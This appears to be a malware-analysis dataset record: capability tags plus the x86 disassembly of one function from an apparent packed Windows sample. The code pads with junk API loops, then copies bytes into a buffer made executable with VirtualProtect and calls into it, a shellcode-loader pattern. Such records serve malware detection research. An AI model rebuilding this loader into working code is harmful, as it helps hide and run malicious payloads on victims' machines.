Function at 0x402f2e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Get memory capacity
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc20
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor esi, esi
xor edi, edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x402f6f
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x402f80
inc edi
cmp edi, 0x67d12
jl 0x402f44
cmp dword [0x244ece4], 0x93
jne 0x40302a
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov edi, dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0xc20]
push eax
push esi
push 0x402a58
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
call dword [sym.imp.GDI32.dll_GetTextCharset]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
call fcn.00403b28
push esi
push esi
call fcn.00403b57
push esi
call fcn.00403c0f
add esp, 0x10
push esi
call fcn.00403ea1
add dword [0x244ece4], 0x1134b
push dword [0x244ece4]
mov eax, dword [0x4396dc]
push esi
mov dword [0x244fb20], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x244ece4]
mov dword [0x244e774], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call ebx
dec edi
jne 0x403068
cmp dword [0x244ece4], esi
jbe 0x4030ed
mov eax, dword [0x244fb20]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x244e774]
mov byte [ecx + edi], al
cmp dword [0x244ece4], 0x490
jne 0x4030e4
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc edi
cmp edi, dword [0x244ece4]
jb 0x403084
xor edi, edi
mov eax, dword [0x244ece4]
add eax, edi
cmp eax, 0x8d
jne 0x40312f
push esi
lea eax, [ebp - 0xc20]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push 0x402a88
push 0x402ad0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x4030ef
call fcn.00402e4b
xor edi, edi
call ebx
cmp edi, 0x61
jne 0x403159
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x8f7f
mov eax, dword [ebp - 4]
add dword [0x244e774], eax
inc edi
cmp edi, 0x674bd
jl 0x40313f
push 0x7b
pop edi
cmp dword [0x244ece4], 0x86
jne 0x4031c2
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
lea eax, [ebp - 0x420]
push eax
push 0x402af0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x244ece4], 0xf
jne 0x4031d6
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
dec edi
jne 0x403165
push 0x402b08
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x244e774]
pop edi
pop esi
pop ebx
leave
ret